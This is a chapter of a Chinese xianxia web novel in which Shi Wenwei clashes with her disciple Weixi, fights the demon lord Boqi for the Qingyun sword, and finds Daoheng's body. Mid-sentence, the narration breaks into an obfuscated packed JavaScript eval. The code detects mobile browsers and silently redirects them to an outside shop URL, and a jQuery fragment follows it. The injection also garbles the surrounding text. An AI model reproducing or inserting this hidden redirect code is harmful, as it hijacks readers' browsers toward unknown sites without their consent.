大约为了粉饰面子,靖海王特意差人送来祭奠穿戴的整套华服首饰,请人教导惟熙祭祀礼仪。对时问微更是恭维有加,天材地宝一车车送来,堵满前院。
时问微颇有点把惟熙嫁出去的微妙错觉,这车就是换来的聘礼。她近日泡在药泉躲清闲,平日最爱往她身前凑的那个人,倒有些避着她的趋势。
这日她提前回到院里,袁小伍正赶走一群看热闹的弟子,还叫他们发誓再不打歪主意。弟子见了时问微,作鸟兽散开。
时问微叫住袁小伍:“院子里的东西你都处理掉,该扔的扔、该分的分,我看着膈应。”
“这次靖海王可是下了血本,最近惟熙要找本命灵器,这里面就有不少好东西。他有意孝敬你,你何乐而不为?”
时问微仰起下巴,满眼不屑:“可惜了,越上赶着递到我眼前的东西,我越看不上。”
袁小伍只得无奈摇摇头,领命离去。
偌大的院子终于安静下来,时问微往里走去,隐约听到里屋传来声响。原是惟熙正在屏风后试衣服。往年祭奠都是女子,自然送的都是女装。
不知为何,文金守在屏风前。
两人正说着话,时问微于是停在门前。
“……这是从这儿穿到那儿的,要不还是让我帮你穿吧,这样也快一点。”
屏风里惟熙很快回绝:“不必,有劳姑娘,接下来这些我自己来就好。”
文金听不懂话里逐客的意味,沮丧地低下头:“对不起,都怪我,你人这样好,我还连累了你。是不是如果我回去了,他们就会放过你了?”
一向好说话的惟熙安慰了几句,大约感到为难。
“你回去了,他这些罪岂不是白遭了?”
“大师姐。”文金一愣,忙起身行礼,羞得满面通红,“我,我,我也是一时想不出什么好的主意,只觉得连累大家。”
“你也没那个能耐,不必大包大揽全扛在自己肩上。靖海王看中的不会是一个普通弟子,而是背后的元虚宗。不是你,也会是另一个叫文银文铜的。”
时问微说话依旧直白,文金看起来却略微心定了些,找了个由头退下了。
屏风里传来惟熙闷闷的声音:“师傅……”
房里只剩二人,屏风里传来悉悉索索的声响,隐约能看到人影,明显急了乱了,却似乎仍然不得要领。
时问微只觉得好笑:“穿好了没,要是不会的话,现在叫文金回来还来得急。”
他回得很快:“不必,不太方便。”
“也是,我在这里也不太方便。”
时问微转身要走,手腕被人骤然攥住。她回过头,屏风里伸出一截藕臂强留。另一只手扒开屏风,露出那双巴巴望着她的眼。
“师傅,我处理不好,行行好,帮帮徒儿。”
屏风后,惟熙身上胡乱套了几层纱衣,钉珠流苏,乱作一团。约是穿的焦急,大剌剌敞开一片,露出白花花的胸膛。连续的锻炼起了成效,不再是从前干瘪瘦削的身材,竟有了几分线条雕刻的美。
“……”
视线由下及上,惟熙额前压一条银白抹额,正中嵌昆山玉,隐隐有冷冽灵力波动。
她眯了眯眼:“脱下。”
气氛一瞬微冷。
时问微嘴角笑着,眼底却沁着寒意。见惟熙愣住,她一把扯下额前银纹白玉带,润白昆山玉在手中微微发烫。
“嘭——”
玉石击地,迸裂一地碎玉。
飞溅的碎片在惟熙脸上留下一道红色划痕,鲜血渗出。他缓慢地眨了眨眼,仍由时问微扯过他肩头的纱衣,随意地抹去脸上的血。
素白纱衣洒了一片血,雪地里凭空生出一枝梅,红得触目惊心。
时问微笑容恶劣道:“这样顺眼多了。”
直到惟熙重又穿上常穿的那件蓝袍,她眼底那抹戾色才缓去三分,满意地点点头:“还是蓝色最适合你。白色,那是给死人穿的。”
至于是哪个死人,她不欲多说。
惟熙仰起头:“师傅若是喜欢,我天天穿。”
“……”
时问微上下打量,素雅沉静的蓝并未压下他的艳色,反而衬得如淤泥之上的莲花。看似脱俗,却让人生出欲将它摧毁折断,一道埋入泥地的阴暗心思。
收回目光,时问微只留下冷淡一句:“你不必讨好我。”
说罢拂袖离去,衣袖从惟熙手中滑走,这次没再让他捉住。
-
雨祭那日,锣鼓喧天。
看热闹的弟子挤在山门口巴巴地望,肩舆上一人跪坐,墨发高束,身着素色蓝袍,随着轿夫的步伐上下颤动。
没有堆叠的纱衣、没有繁复的首饰,也没有夸张的妆容,这一次雨祭送来的神显得格外单调,周围人群兴致缺缺。轿上少年端正威严,倒像被请来的神。
时问微戴着帷幕,乔装混在人群之中。目光隔着重重人海交汇,轿上的人略有些失神,频频朝这边望来。
“这么俊的小郎君,是在望你吧?”
有人起哄望向面前的文金,后者推了同伴一把。
跟来的百姓伸长了脖子直摇头:“嗐!往年迎神,抬着的都是天仙。今年整了个甚么玩意儿,寡淡得没滋没味的!还不如之前的小丫头。”
“别说呢,说是王爷又请神选了一次,这才选中的。”
“莫非……现在的神仙好这一口了?”
一群人促狭地笑,引来了元虚宗弟子的注意。
“对啊,之前不是说送来一套往年祭祀的衣服吗,你不是还跟着去看了吗?”有弟子戳戳文金的胳膊,“用了好几层纱做的,绣了银纹,仙气飘飘的。”
身后的时问微冷笑一声。
那件冷霜白纱衣,连带着碎玉带,一并被她揉作一团,扔回靖海王府。
王府下人都道,这元虚宗大师姐行事乖张,实在不留情面。靖海王倒是摇着纸扇,笑着让人收了回去。
祭奠吉时算得很准,轿夫将人抬到祭坛之上,一身粗丝青衣的巫者绕着人起舞。金声玉振,肃穆威严,靖海王痛声向天陈词。
无非是认了些无关痛痒的错,恳请上天怜悯降雨,站在树上的时问微听得打了个哈欠。
要论道貌岸然,靖海王倒可与她那前道侣一争高低。
百姓跪服在地,每个人头顶生发出一股细密的白色愿力,朝祭坛后的院落汇聚。
晴空万里,一声雷鸣。
时问微的身影悄无声息,随着愿力去往院子里。
长方院子里同样设有祭台,台前供奉一棺椁,棺上悬有一柄宝剑,愿力源源不断地灌注于宝剑之中。
宝剑正是青云,那么棺椁里躺着的是谁,自不必说。
时问微欲动身,一人却先她一步踏在棺椁之上。
她停下脚步,挂起讽刺的笑。
“你为了自己最厌憎的人,倒肯这般费心思,竟还同靖海王联了手。你也不怕,凡人再背弃你么?”
棺椁之上,伯歧低头看向时问微,照样笑得坦然。
“我是讨厌这个人不假,但是有谁能拒绝天下第一剑。同样,我讨厌凡人也不假,但他能给我想要的,我自然也不会拒绝。”
“你倒是识时务。”
“不识时务,怎么活到现在?”
青云剑在伯歧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793227|210456||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
手中微微震颤。
约莫是靖海王摆的祭奠真的起了作用,不断汇聚而来的愿力唤醒了沉睡中的剑,又一声雷响彻耳边。头顶乌云密布,伯歧长发被风吹动。
“你们这些道貌岸然的伪仙,为了所谓大义灭我魔族,踏平魔域,还好意思给自己标榜名门正道。
“当年青云一剑了结我魔族八大护法,将我关在锁云窟极尽折辱,毁我法器、伤我魂灵……桩桩件件都是出自你们。
“如今我要用青云剑,将这几年的磋磨苦难,尽数还给你们……”
剑半出鞘,光芒万丈,伯歧脸上神色接近癫狂。
时问微站在原地,浑身绷紧,面上却仍然不显:“随你的便。”
下一秒,两人同时动作。出鞘的青云剑锋芒毕露,雷声贯耳而至,掩过上神打斗的巨大声响。
有了青云剑的伯歧如有神助,反而是时问微在凡间多受掣肘。一红一青两道身影上下纷飞,一时难分。
一呼一吸间,已过数百招。伯歧眼骨碌一转,一剑劈过去,笑道:“你说,要是你倒下了,你那个便宜徒弟又该怎么办才好?”
时问微后仰躲过:“你若是嫉妒,我另在阊阖天为你寻个端茶倒水的活,也不是什么难事。”
“呵,我倒不介意在魔界给你留一张床……”
青云剑风斩断衣角,伯歧飞下棺椁。
“你真敢想。”
时问微回身一踢,低头从他臂下钻过,飞身跳上棺椁,青云剑稳稳地握在手中。剑身光芒更盛,分明是认人的。
“我说了,我不喜欢仰着头看人。”
伯歧手中一空,仓促回身,烟灰色的眸子里写满不可置信。
“一段露水情缘,他居然把青云剑给了你?”
“毕竟,他有求于我。”
还是个了不得的大麻烦。
时问微眯眼扯出一个假笑,挽了个剑花。
“多谢你特意来还我。不过这场从天上到凡间的闹剧,真的该结束了。”
雷声依旧不止,一抹天光拨开乌云,天边降下祥瑞。
仪式的念颂声骤然停止,所有百姓,连带着院里僵持着的二人,都抬头看去。
天光朝院子砸来,时问微不耐烦地“啧”了一声,收了青云剑。
伯歧转身想逃,天上却抛下一张天罗地网,将他牢牢束缚在地,一张脸压在地面变了形,嘴里被死死堵住。
炳灵公施施然从天而降,从光里走出,首先朝院子里站着的时问微点了点头。
他略有些讶异道:“我等追查前魔主伯歧追至此,没想到正巧碰到你。”
“是蛮巧。”
到手的猎物被人叼走,时问微笑得很浅。
她跳下棺椁,漫不经心拍了拍并不存在的灰,上面还有一道肉眼无法注意到的裂痕。
寒暄两句,炳灵公压着伯歧回天界复命。
乌云并未散去,正如雨祭祈祷的那样,天空细细密密地下起小雨。时问微仍立在院子里,神色复杂地看着棺椁。
那道裂纹越来越明显,竟从中裂成两半,露出里面百年不腐一具遗体。
犹似在沉睡之中,面容沉静,与时问微见他最后一面时并无什么不同。
雨打湿了他的脸,眼窝积了一滴水。
起初人人都说惟熙多像道衡,时问微还不以为然。如今看他闭目沉睡的眉眼,倒是觉得这对父子有诸多相似之处。躺在那里的分明是道衡,晃眼却又觉得是惟熙。
时问微向前一步,神使鬼差地伸出手。
还未触碰到道衡的脸,院外传来急促的脚步声,伴随着熟悉的呼唤:“师傅——师傅——”